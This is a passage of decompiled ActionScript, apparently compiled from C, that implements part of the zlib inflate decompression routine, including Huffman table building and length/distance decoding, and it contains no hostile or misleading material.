_loc52_ = int(_loc52_ - _loc65_);
_loc50_ = int(_loc50_ >>> _loc65_);
_loc6_ = int(_loc6_ - _loc46_);
_loc7_ = _loc7_ - _loc9_;
_loc9_ = _loc65_;
_loc65_ = _loc43_;
}
}
}
}
_loc53_ = int(_loc65_ + _loc9_);
si32(_loc53_,_loc48_ + 7108);
_loc53_ = _loc62_ & 65535;
si32(_loc53_,_loc48_ + 64);
_loc52_ = int(_loc52_ - _loc65_);
_loc50_ = int(_loc50_ >>> _loc65_);
_loc43_ = _loc67_ & 255;
if(_loc43_ == 0)
{
si32(25,_loc48_);
_loc54_ = _loc6_;
_loc43_ = _loc7_;
break loop29;
}
_loc53_ = _loc67_ & 32;
if(_loc53_ != 0)
{
si32(-1,_loc48_ + 7108);
si32(11,_loc48_);
_loc54_ = _loc6_;
_loc43_ = _loc7_;
break loop29;
}
_loc53_ = _loc43_ & 64;
if(_loc53_ != 0)
{
si32(29,_loc48_);
_loc54_ = _loc6_;
_loc43_ = _loc7_;
break loop29;
}
_loc58_ = _loc43_ & 15;
si32(_loc58_,_loc48_ + 72);
si32(21,_loc48_);
_loc54_ = _loc6_;
_loc43_ = _loc7_;
}
}
}
break;
}
}
continue;
}
}
else
{
_loc65_ = li32(_loc48_ + 104);
addr4466:
_loc53_ = _loc65_ << 1;
_loc62_ = int(_order_2E_2443 + _loc53_);
_loc46_ = int(_loc65_ + 1);
while(true)
{
_loc58_ = int(_loc65_ + 1);
_loc53_ = li32(_loc48_ + 92);
if(uint(_loc65_) >= uint(_loc53_))
{
if(uint(_loc65_) < 19)
{
while(true)
{
_loc53_ = li16(_loc62_);
_loc53_ = _loc53_ << 1;
_loc53_ = int(_loc48_ + _loc53_);
si16(0,_loc53_ + 112);
si32(_loc46_,_loc48_ + 104);
_loc46_ = int(_loc46_ + 1);
_loc62_ = int(_loc62_ + 2);
if(_loc46_ != 20)
{
continue;
}
break;
}
}
si32(_loc66_,_loc48_ + 108);
si32(_loc66_,_loc48_ + 76);
si32(7,_loc48_ + 84);
_loc5_ = int(_loc5_ - 32);
si32(_loc47_,_loc5_ + 20);
si32(_loc39_,_loc5_ + 16);
si32(_loc33_,_loc5_ + 12);
si32(19,_loc5_ + 8);
si32(_loc45_,_loc5_ + 4);
si32(0,_loc5_);
ESP = _loc5_;
F_inflate_table();
_loc5_ = int(_loc5_ + 32);
_loc61_ = int(eax);
if(_loc61_ != 0)
{
si32(29,_loc48_);
continue loop7;
}
_loc67_ = 0;
si32(_loc67_,_loc48_ + 104);
si32(18,_loc48_);
_loc61_ = _loc67_;
§§goto(addr4711);
}
else
{
while(uint(_loc52_) < 3)
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc43_ = int(_loc43_ + 1);
_loc54_ = int(_loc54_ + -1);
continue;
}
}
_loc53_ = li16(_loc62_);
_loc53_ = _loc50_ & 7;
si16(_loc53_,int(_loc48_ + (_loc53_ << 1)) + 112);
si32(_loc58_,_loc48_ + 104);
_loc46_ = int(_loc46_ + 1);
_loc62_ = int(_loc62_ + 2);
_loc52_ = int(_loc52_ + -3);
_loc50_ = int(_loc50_ >>> 3);
_loc65_ = _loc58_;
continue;
}
}
}
}
else
{
while(true)
{
if(uint(_loc52_) >= 14)
{
_loc53_ = _loc50_ & 31;
_loc53_ = int(_loc53_ + 257);
si32(_loc53_,_loc48_ + 96);
_loc51_ = int(_loc50_ >>> 5);
_loc51_ = _loc51_ & 31;
_loc65_ = int(_loc51_ + 1);
si32(_loc65_,_loc48_ + 100);
_loc51_ = int(_loc50_ >>> 10);
_loc51_ = _loc51_ & 15;
_loc51_ = int(_loc51_ + 4);
si32(_loc51_,_loc48_ + 92);
_loc52_ = int(_loc52_ + -14);
_loc50_ = int(_loc50_ >>> 14);
if(uint(_loc53_) <= 286)
{
if(uint(_loc65_) < 31)
{
_loc65_ = 0;
si32(_loc65_,_loc48_ + 104);
si32(17,_loc48_);
§§goto(addr4466);
}
}
si32(29,_loc48_);
continue loop7;
}
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
else if(_loc46_ <= 20)
{
if(_loc46_ != 19)
{
if(_loc46_ != 20)
{
§§goto(addr9328);
}
}
else
{
§§goto(addr5516);
}
§§goto(addr5520);
}
else if(_loc46_ != 21)
{
if(_loc46_ != 22)
{
§§goto(addr9328);
}
else
{
addr7562:
_loc53_ = li32(_loc48_ + 88);
_loc53_ = 1 << _loc53_;
_loc46_ = int(_loc53_ + -1);
_loc62_ = li32(_loc48_ + 80);
_loc58_ = 0;
while(true)
{
_loc53_ = _loc50_ & _loc46_;
_loc53_ = _loc53_ << 2;
_loc67_ = int(_loc62_ + _loc53_);
_loc65_ = li8(_loc67_ + 1);
if(uint(_loc65_) > uint(_loc52_))
{
if(_loc54_ != _loc58_)
{
_loc53_ = int(_loc43_ + _loc58_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc58_ = int(_loc58_ + 1);
continue;
}
_loc43_ = int(_loc43_ + _loc58_);
_loc65_ = 0;
}
else
{
_loc46_ = li16(_loc67_ + 2);
_loc6_ = li8(_loc67_);
_loc53_ = _loc6_ & 240;
if(_loc53_ != 0)
{
_loc43_ = int(_loc43_ + _loc58_);
_loc54_ = int(_loc54_ - _loc58_);
_loc62_ = li32(_loc48_ + 7108);
}
else
{
_loc7_ = _loc43_ + _loc58_;
_loc53_ = 1 << int(_loc65_ + _loc6_);
_loc6_ = int(_loc53_ + -1);
_loc9_ = 0;
while(true)
{
_loc43_ = int(_loc54_ + _loc9_);
_loc53_ = _loc50_ & _loc6_;
_loc53_ = int(_loc53_ >>> _loc65_);
_loc53_ = int(_loc53_ + _loc46_);
_loc53_ = _loc53_ << 2;
_loc8_ = int(_loc62_ + _loc53_);
_loc67_ = li8(_loc8_ + 1);
_loc53_ = int(_loc67_ + _loc65_);
if(uint(_loc53_) > uint(_loc52_))
{
if(_loc43_ != _loc58_)
{
_loc53_ = int(_loc7_ - _loc9_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc9_ = int(_loc9_ + -1);
continue;
}
_loc43_ = int(_loc7_ - _loc9_);
_loc65_ = 0;
}
else
{
_loc6_ = li8(_loc8_);
_loc46_ = li16(_loc8_ + 2);
_loc53_ = li32(_loc48_ + 7108);
_loc62_ = int(_loc53_ + _loc65_);
si32(_loc62_,_loc48_ + 7108);
_loc52_ = int(_loc52_ - _loc65_);
_loc50_ = int(_loc50_ >>> _loc65_);
_loc54_ = int(_loc43_ - _loc58_);
_loc43_ = int(_loc7_ - _loc9_);
_loc65_ = _loc67_;
}
}
}
_loc53_ = int(_loc65_ + _loc62_);
si32(_loc53_,_loc48_ + 7108);
_loc52_ = int(_loc52_ - _loc65_);
_loc50_ = int(_loc50_ >>> _loc65_);
_loc53_ = _loc6_ & 64;
if(_loc53_ != 0)
{
si32(29,_loc48_);
continue loop7;
}
addr7875:
addr7978:
_loc53_ = _loc46_ & 65535;
si32(_loc53_,_loc48_ + 68);
_loc58_ = _loc6_ & 255 & 15;
si32(_loc58_,_loc48_ + 72);
si32(23,_loc48_);
if(_loc58_ != 0)
{
while(true)
{
if(uint(_loc58_) <= uint(_loc52_))
{
_loc53_ = 1 << _loc58_;
_loc53_ = li32(_loc48_ + 68);
_loc53_ = int(_loc53_ + (_loc50_ & int(_loc53_ + -1)));
si32(_loc53_,_loc48_ + 68);
_loc53_ = li32(_loc48_ + 7108);
_loc53_ = int(_loc53_ + _loc58_);
si32(_loc53_,_loc48_ + 7108);
_loc52_ = int(_loc52_ - _loc58_);
_loc50_ = int(_loc50_ >>> _loc58_);
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc43_ = int(_loc43_ + 1);
_loc54_ = int(_loc54_ + -1);
continue;
}
}
}
}
si32(24,_loc48_);
_loc65_ = _loc54_;
if(_loc56_ != 0)
{
_loc54_ = int(_loc64_ - _loc56_);
_loc58_ = li32(_loc48_ + 68);
if(uint(_loc58_) > uint(_loc54_))
{
_loc46_ = int(_loc58_ - _loc54_);
_loc53_ = li32(_loc48_ + 44);
if(uint(_loc53_) < uint(_loc46_))
{
_loc53_ = li32(_loc48_ + 7104);
if(_loc53_ != 0)
{
si32(29,_loc48_);
_loc54_ = _loc65_;
continue loop7;
}
}
_loc54_ = li32(_loc48_ + 48);
if(uint(_loc54_) < uint(_loc46_))
{
_loc46_ = int(_loc46_ - _loc54_);
_loc53_ = li32(_loc48_ + 40);
_loc53_ = li32(_loc48_ + 52);
_loc58_ = int(_loc53_ + (int(_loc53_ - _loc46_)));